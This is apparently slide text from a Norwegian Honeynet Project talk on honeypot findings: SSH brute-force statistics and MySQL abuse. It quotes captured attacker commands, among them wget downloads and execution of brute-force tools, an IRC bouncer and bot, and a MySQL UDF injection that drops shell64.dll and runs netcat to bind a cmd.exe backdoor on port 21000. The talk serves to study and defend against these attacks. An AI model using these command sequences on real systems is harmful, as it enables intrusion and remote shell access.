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Agenda

! Kort om the Honeynet Project
! IDS evasion pŒ lag 7
! SSH angrep
! PDF exploit-analyse
! MySQL angrep
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Problem

How can we defend against an enemy if we 
donÕt know who the enemy is or why they 

might be attacking us?
(Lance Spitzner)
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Honeypot

! Honeypot - felle
! Low-interaction -> High-interaction

! Honeynett - et nettverk av honeypots
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The Honeynet Project

! En frivillig internasjonal organisasjon med fokus 
pŒ it-sikkerhetsproblematikk.

! Startet i 1999
! Mission: ¬learn the tools, tactics and motives 

involved in computer and network attacks, and 
share the lessons learned¬

 
http://www.honeynet.org
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Norwegian Chapter

! 10 geeks

! Analyserer IKT-trusler relatert til Norge 

! Blog: www.honeynor.no
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HP Chapters (19 globally)
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SSHPOT

! SSH - Secure Shell

! SSHPOT - Modifisert versjon av OpenSSH
! Logger brukernavn og passord til database

! Installert flere steder i Norge

! MŒl: Analyse av SSH brute-force angrep
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Data

! Periode: desember 2007 - august 2008
! 1155 unike IP-adresser i perioden
! Fra 84 forskjellige land
! 122 (9,7%) adresser har angrepet alle nodene 

(honeypots) 
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Topp 5 - brukernavn
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Topp 5 - brukernavn
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Topp 5 - kombinasjoner
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Topp 5 - kombinasjoner
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Brukernavn = passord
Passord likner på brukernavn
Forskjellig
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Passord statistikk
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Passord statistikk
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Lengde har noe å si!
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Opprinnelsesland
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Hva gjør de?

! Endrer passord(!)
! Sjekker systemet
! IRC bouncere
! IRC bot (botinfisering)
! Fors¿ker Òprivilege escalationÓ
! Starter ssh-angrep
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Eksempel 1
! Accepted password for test from 220.113.15.74 port 

51366 ssh2.
! Inn/ut = 6 sekund
! Automatisert

! 1 minutt senere logger samme bruker inn
! Fra en Italiensk IP (79.7.131.45)
! putty(!)
! laster opp unixcod

! 5 minutter senere
! SSH brute-force (ordliste pŒ 30158 kombinasjoner)
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Eksempel 1
! Accepted password for test from 220.113.15.74 port 

51366 ssh2.
! Inn/ut = 6 sekund
! Automatisert

! 1 minutt senere logger samme bruker inn
! Fra en Italiensk IP (79.7.131.45)
! putty(!)
! laster opp unixcod

! 5 minutter senere
! SSH brute-force (ordliste pŒ 30158 kombinasjoner)

uptime
cat /proc/cpuinfo
passwd
ls
cd unixcod
chmod +x *
./unix 219.65
ls
./unix
./unix 219.65
./unix 219.
./unix 219
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Eksempel 2:
Brute force verktøy

1.w
2.uname -a
3.passwd
4.cat /proc/cpuinfo
5.wget www.geocities.com/soznam/ab.tar.gz
6.tar zxvf ab.tar.gz
7.rm -rf ab.tar.gz
8.cd piata
9.chmod +x *
10../a 213.161
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IRC bouncer

1.wget beta.ucoz.com/psybnc.tgz
2.tar -zxvf psybnc.tgz
3.cd psybnc-linux/psybnc
4.chmod +x *
5../psybnc
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IRC bouncer

1.wget beta.ucoz.com/psybnc.tgz
2.tar -zxvf psybnc.tgz
3.cd psybnc-linux/psybnc
4.chmod +x *
5../psybnc

SYBNC.SYSTEM.PORT1=31337
PSYBNC.SYSTEM.HOST1=*
PSYBNC.HOSTALLOWS.ENTRY0=*;*
USER1.USER.LOGIN=charly
USER1.USER.USER=ovi
USER1.USER.PASS==`z0M`a`v'g'P0104`s
USER1.CHANNELS.ENTRY0=#mika4me

mailto:david@honeynet.org.uk
mailto:david@honeynet.org.uk


Einar Oftedal (einar.oftedal@honeynet.org)

IRC bot

1.wget www12.asphost4free.com/Ionut/emech-linux.gz
2.tar zxvf emech-linux.gz
3.rm -rf emech-linux.gz
4.cd .kde
5../start charly25
6../go mika4me
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Anbefalinger

! Velg en annen port
! Gode passord
! Bruk sertifikat
! denyhost
! Ikke tillat root Œ logge inn via ssh
! Bruk av port-knocking
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! Ò ...  an attacker only needs 525 systems to scan 
the entire IP4 of today's public Internet in just one 
day. If you have a publicly accessible SSH server, 
you are very likely to be targeted by one of these 

attacks. Ò - Christian Seifert / NZ chapter
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flashdoc_1_.pdf
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MySQL honeypot

! MySQL - en Open Source SQL server

! root bruker uten passord

! •pen direkte og via phpmyadmin

! Installert pŒ Ubuntu Linux
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MySQL misbruk (1/2)
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MySQL misbruk (1/2)

! Angriper logger inn og lager tabell ÒFILEDATAÓ
! CREATE TABLE FILEDATA(FILEDATA Blob NOT NULL) TYPE=MyISAM;
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MySQL misbruk (1/2)

! Angriper logger inn og lager tabell ÒFILEDATAÓ
! CREATE TABLE FILEDATA(FILEDATA Blob NOT NULL) TYPE=MyISAM;

! INSERT til tabell
! INSERT INTO FILEDATA (FILEDATA) VALUES(0x4D5A9000[...]
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MySQL misbruk (1/2)

! Angriper logger inn og lager tabell ÒFILEDATAÓ
! CREATE TABLE FILEDATA(FILEDATA Blob NOT NULL) TYPE=MyISAM;

! INSERT til tabell
! INSERT INTO FILEDATA (FILEDATA) VALUES(0x4D5A9000[...]

PE fil
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MySQL misbruk (1/2)

! Angriper logger inn og lager tabell ÒFILEDATAÓ
! CREATE TABLE FILEDATA(FILEDATA Blob NOT NULL) TYPE=MyISAM;

! INSERT til tabell
! INSERT INTO FILEDATA (FILEDATA) VALUES(0x4D5A9000[...]

! Pr¿ver Œ opprette filer pŒ disk
! SELECT FILEDATA FROM FILEDATA INTO DUMPFILE 'C:\\winnt\\system32\\shell64.dll'

! SELECT FILEDATA FROM FILEDATA INTO DUMPFILE 'D:\\winnt\\system32\\shell64.dll'

! SELECT FILEDATA FROM FILEDATA INTO DUMPFILE 'E:\\winnt\\system32\\shell64.dll'

! ....

PE fil
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MySQL misbruk (1/2)

! Angriper logger inn og lager tabell ÒFILEDATAÓ
! CREATE TABLE FILEDATA(FILEDATA Blob NOT NULL) TYPE=MyISAM;

! INSERT til tabell
! INSERT INTO FILEDATA (FILEDATA) VALUES(0x4D5A9000[...]

! Pr¿ver Œ opprette filer pŒ disk
! SELECT FILEDATA FROM FILEDATA INTO DUMPFILE 'C:\\winnt\\system32\\shell64.dll'

! SELECT FILEDATA FROM FILEDATA INTO DUMPFILE 'D:\\winnt\\system32\\shell64.dll'

! SELECT FILEDATA FROM FILEDATA INTO DUMPFILE 'E:\\winnt\\system32\\shell64.dll'

! ....

! Igjen: Pr¿ver Œ opprette netcat pŒ disk
! SELECT FILEDATA FROM FILEDATA INTO DUMPFILE 'C:\\nc.exe';

PE fil
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MySQL misbruk (2/2)
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MySQL misbruk (2/2)

! Lager en ny ÒFUNCTIONÓ
! CREATE FUNCTION my_name returns STRING soname 'shell64';
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MySQL misbruk (2/2)

! Lager en ny ÒFUNCTIONÓ
! CREATE FUNCTION my_name returns STRING soname 'shell64';

! Pr¿ver Œ Œpne den:
! select my_name('start cmd.exe /c c:\\nc.exe -l -p 21000 -t -d -e 
cmd.exe');
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MySQL misbruk (2/2)

! Lager en ny ÒFUNCTIONÓ
! CREATE FUNCTION my_name returns STRING soname 'shell64';

! Pr¿ver Œ Œpne den:
! select my_name('start cmd.exe /c c:\\nc.exe -l -p 21000 -t -d -e 
cmd.exe');

! nc.exe - Netcat

! Konklusjon: Angriper pr¿ver Œ Œpne en bakd¿r 
pŒ port 21000, men angrep er laget for Windows.
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Learning More

Know Your Enemy: Learning About Security Threats 
(The Honeynet Project)
ISBN-10: 0321166469 

http://www.honeynet.org/book/index.html

Virtual Honeypots
(Niels Provos and Thorsten Holz)
ISBN-10: 0321336321 

http://www.honeynor.no
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